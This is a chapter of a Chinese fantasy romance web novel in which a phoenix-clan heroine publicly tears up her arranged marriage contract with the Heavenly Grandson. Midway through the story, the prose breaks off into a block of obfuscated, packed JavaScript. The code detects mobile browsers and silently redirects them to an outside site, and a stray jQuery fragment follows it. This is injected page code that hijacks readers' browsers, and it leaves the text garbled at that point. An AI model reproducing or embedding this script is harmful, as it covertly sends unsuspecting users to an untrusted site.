“小姐,万不可应下这门亲事啊——”
伴着一声哭叫,贴有大红喜字的房门“砰”地大开,屋内的妆娘只见得浓艳的帷幔翻了几翻,人便被拦腰撞到一旁。
事发突然,小喜娘们慌作一团。端坐铜镜前的新嫁娘却是眼都不眨,唯有薄薄一张未及染唇的胭脂从她面前飘零而过。
闯进来的人是个着青衣、挽灵蛇髻的年轻姑娘,她两只袖口皆是利落的箭袖,腰间一圈短匕首跑起来叮当作响,一身打扮瞧上去颇有些飒爽英姿——
只是如今她眉梢低垂,一副将哭未哭的可怜样子,扑跪在地上慌乱又狼狈,却也说不上什么“英姿”了。
她奋力推开妆娘,踉踉跄跄地膝行到新嫁娘腿边,焦急地抓住新嫁娘的袖摆:
“小姐,这些都是天帝老儿派来的人?她们可曾胁迫你吗?”
莫名被泼了“胁迫”的脏水,小喜娘们下意识上前半步想要解释一二。
见她们动作,青衣姑娘立刻按住了腰间匕首。
大红的喜房内杀气弥漫。
“新嫁娘”余霏一手按住了腿边这位,又淡淡斜了喜娘们一眼,险险拦下了一场腥风血雨。
“她是我的护法枝友。今日之事我未与她谈妥,她正生着我的气,才大闹了这么一通。不干你们的事,先下去吧。”
听了余霏的宽慰,喜娘们才惊魂未定地飘出门去。
“小姐~~~~”
外人都走了,枝友更是肆无忌惮地同余霏撒泼打滚起来。
“您什么时候偷跑出关的?竟也没有叫上枝友一起。还好我反应尚算快,不然等我发现您不见了再出来找,那狗比天孙早不知道把您给埋哪儿了!”
余霏:……
她本就理亏。
只好闷头挨训。
余霏多年前受过一次重伤,动了根基,时不时就要闭一闭关。短则三两月,长则八九年,枝友早习惯了她这拿闭关当饭吃的习性,一时疏于看护,就这么让她给跑了出来——
还要成亲了。
和那个早有情投意合的青梅,却依然没有解除婚约的狗男人。
淦。
枝友膝盖跪疼了,干脆盘坐地上,死死搂着余霏的小腿。
“小姐,其实我知道,这纸婚约的分量是重些。若是放在当年,咱们应也便应了。”
枝友将脸贴在余霏的腿面上,说起话来翁声翁气。
“毕竟从前两家势均力敌,无论怎么说,天孙断不敢欺负了您去。可如今……如今就剩您孤苦伶仃的一个,偌大的天帝一族也从未对您有所照拂。这么多年来,您身子不好,鲜少露面,咱们凤凰一族在外的威名消弭殆尽,赫赫战功也被争抢得所剩无几,所有人都等着看您的笑话……”
说到这里,枝友都替余霏委屈得啜泣。
“我过来时,听见喜房外那些人净说些难听的话——”
她按耐不住地嚎啕出声。
“——小姐,您这还未出阁,要是真嫁过去了,未来与天齐的寿数,您可怎么熬过啊——”
余霏任枝友拽着一只手臂,低垂着眼,什么都没有说。
枝友吐露的这些,她又何尝不清楚。
凤凰一族多年前为保苍生祭天殉世,她长年闭关与世隔绝,早已成了天界可有可无的边缘人物。那生来就有的便宜夫君根本就没见过几面,对方在她消失的这些年里早已出落得丰神俊朗,还有了一位般配登对的芙蓉仙子——
他们二人情深似海的佳话,余霏出关三天就听得耳根磨起了茧子。
更不要说余霏心怀山海,并不肯将一生托付在虚无缥缈的一纸婚约上了。
然而,听了这么多,也想了这么多,那双珠翠下望向枝友的眼,却无半点悲凄。
“地上凉,快起来。”
余霏俯身探手去拉枝友,眉眼弯起,露出个释然宽慰的笑。
“您不嫁啦?”
“咱们去会会他们。”
二人同时出声,枝友陡然绽放的笑颜兀地垮了下去。
后来她又絮絮叨叨地劝了些什么,余霏一个字都没听见。
她只对着斑驳的铜镜,拾起那张飘落的胭脂,亲手为自己印上了一抹唇红。
红得锋利如刀,又凶煞似血。
.
房门推开,被余霏请出去的喜娘,早已在门外侯着了。
“天孙妃殿下,请您往前厅去。”
为首的喜娘躬身指路。
“新嫁娘出阁,总要有些亲朋好友围着才热闹喜庆。天帝陛下念着您母家的情况,特意唤来诸天神佛先迎一步,就作为您的母家人。等天孙殿下的迎亲队伍到了,咱们照常行接亲礼,再一道往天孙宫里去。”
满门忠烈的事被这小丫头轻飘飘地说出来,枝友总觉得浑身不自在。
可余霏目不斜视,还笑了笑:“有劳了。”
有劳个鬼。
枝友憋闷得袖间双刀“铮”地出鞘,又被她臭着小脸按了回去。
越是靠近前厅,那议论声越是清晰入耳。
“要是换做是我,我可没有脸面嫁给天孙殿下。天孙殿下那是多么金尊玉贵的人物啊,又与芙蓉仙子佳偶天成,她这不是故意破坏人家姻缘吗?”
“害别提了,天孙殿下这几天脸色都不好看……”
“放着貌美如花的青梅竹马娶不成,娶个不敢见人的丑八怪,你脸色能好看得了?”
“我听说她在‘那件事’中毁了容,现在长得貌如夜叉,可吓人了。”
“家神们谁懂啊,天孙殿下的命也是命……”
“天孙殿下性格强势,婚后定不会给她好果子吃。想来她也是心知肚明的,可是她根本就不敢退婚。”
“哪是不敢啊,分明是不想。这么一条高枝,她可舍不得退婚哈哈哈哈哈……”
砰。
随着前厅大门的洞开,响彻云霄的议论声戛然而止。
铛,铛,铛。
新嫁娘所佩同心锁随步伐摇晃,细小清脆的声音清晰可闻。
直到余霏站定,挤满了小神小仙的院落里再无一丝动静。
来不及闭上嘴的长舌男女就这么像热坏了的狗一样,张着嘴望着石阶上的人。
明明那石阶也不过三五级高矮,他们却恍觉那阶上的人站得是那么高,那么远,一如久不染尘的清风,永不坠地的艳阳。
方才骂过余霏“夜叉丑八怪”的小神小仙控制不住地给了自己一嘴巴。
他们瞎么?
而微微摇动的额饰后,血红色柳叶状的疤痕如花钿般嵌在余霏的眉心。
小神小仙们一见那疤痕,就战战兢兢地垂了眼,周身上下止不住地打颤——
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811699|175269||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他们又想起了恐怖至极的“那件事”。
余霏似乎没发现众人的不自在,开口叫人如沐春风:“诸位远走这一趟,定是口干舌燥,可喝喜酒了么?”
众人:……
他们是有些渴。
不过不是走路走的,是刚刚嘴她嘴的。
至于这喜酒嘛……
天孙大婚,天帝一族下了血本,拿出的尽是年头最久最稀罕的琼浆玉酿,他们自然连喝带捎地“品鉴”了不少。
不然,也不敢说那些难听的话。
余霏说话时虽笑眯眯的,话听到旁人耳朵里却像是在说“她都听见了”“她什么都知道。”
完了。
众人埋着头,俱是不寒而栗。
惹她干嘛。
可余霏丝毫没有要刁难他们的意思,她挥挥手,又赏了很多喜酒下去。
这倒是天界接亲惯有的流程,新嫁娘亲读婚约,以酒敬天地、谢宾客,众宾客喝了这轮酒便是同意了这门亲事,礼成。
而余霏也确实按规矩从袖中取出了婚约。
那纸很薄,薄得透光,看纸面工艺少说也是几千年前的老物件,其上书写的文字却崭新又清晰得仿若昨日才写就。
枝友站在余霏斜后方的阴影里,将一双手攥得发抖发红——
她真想一把团了那纸荒唐的东西。
可她终究是拗不过她家小姐的。
她又有什么办法呢。
展开的婚约遮住了余霏眉间的疤痕,小神小仙们这才敢大着胆子抬起眼。
他们端着余霏赏的酒,从纸背窥视着婚约的内容。
“星汉执笔,云海书笺,今以碧落为证,八荒为盟,谨将青鸾之约,刻入璇玑玉衡。更邀东君执雁,西母牵丝,令三生石上朱砂艳,九曜星前盟誓新。”
这来自古老神族的美好的祝祷。
酒香弦乐里,在场的众人都不由得沉浸其中。
就在这时,余霏举杯。
她刚刚启唇,微醺又胆寒的众人料她不会说些旁的话,纷纷仰头一饮而尽——
当然了,他们也急需烈酒壮壮胆。
“山盟虽在,锦书难托。”
可是余霏说的是,山盟虽在,锦书难托。
她动手,利落地撕碎了那纸脆弱的婚约,接着,将纸猛地向头顶一扬。
“这婚约作废了。”
她仰起脸,迎着纷纷扬扬的纸屑,就像是窥见了一场大雪。
而她的人,也在那场“大雪”中没了踪影。
喝了新嫁娘的酒,就算是同意了新嫁娘的说辞。
含着满满一口酒的众人:……
噗。
噗噗噗噗噗。
“咳咳,她说什么?”
“她说什么?!”
“吵死了!”
枝友冲着满院喷水壶大喝一声,嘴角爽得比什么都难压。
“你们聋吗?我家主子说得清清楚楚,她退婚了,她要把你们娇生惯养的天孙殿下原封不动地退回去——”
“什么!!!”
这一声,来自院外,来自不知何时大敞的院门间。
枝友抬眼,越过熙熙攘攘的神仙,她望见鲜衣怒马,却怔愣在场的青年。
来的不是旁人,正是这场闹剧的男主角,被完璧归赵的天孙殿下,祝灵轩。